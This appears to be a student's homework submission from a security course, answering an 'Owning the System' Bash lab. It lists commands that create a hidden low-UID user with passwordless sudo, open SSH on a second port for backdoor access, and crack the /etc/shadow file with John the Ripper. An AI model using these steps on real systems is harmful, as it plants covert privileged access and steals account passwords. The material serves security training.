6-AdvancedBashOwningTheSystem.md

Week 6 Homework Submission File: Advanced Bash - Owning the System

Please edit this file by adding the solution commands on the line below the prompt.

Save and submit the completed file for your homework submission.

Step 1: Shadow People

1. Create a secret user named sysd. Make sure this user doesn't have a home folder created:

   • adduser --no-create-home

2. Give your secret user a password:

   • passwd sysd

3. Give your secret user a system UID < 1000:

   • usermod -u 36 sysd

4. Give your secret user the same GID:

   • groupmod -g 36 sysd
     • The group "sysd" was already created when I created the user. This command simply modifies the group ID for that group.

5. Give your secret user full sudo access without the need for a password:

   • visudo Added the following line to the end of the 'sudoers' file: sysd ALL=(ALL) NOPASSWD:ALL

6. Test that sudo access works without your password:

   su sysd
   <as 'sysd'> sudo -l
   <as 'sysd'> sudo visudo

Step 2: Smooth Sailing

1. Edit the sshd_config file:

   vi /etc/ssh/sshd_config
   <----- Editing 'sshd_config' ----->
   <Added the following line under '#Port 22':>
   Port 2222
   <----- Saved edits to 'sshd_config' ----->

Step 3: Testing Your Configuration Update

1. Restart the SSH service:

   • sudo systemctl restart ssh.service

2. Exit the root account:

   • exit

3. SSH to the target machine using your sysd account and port 2222:

   • ssh [email protected] -p 2222

4. Use sudo to switch to the root user:

   • sudo -s

Step 4: Crack All the Passwords

1. SSH back to the system using your sysd account and port 2222:

   • ssh [email protected] -p 2222

2. Escalate your privileges to the root user. Use John to crack the entire /etc/shadow file:

   • john -wordlist /usr/share/john/password.lst /etc/shadow I escalated to the root account using "sudo -s".

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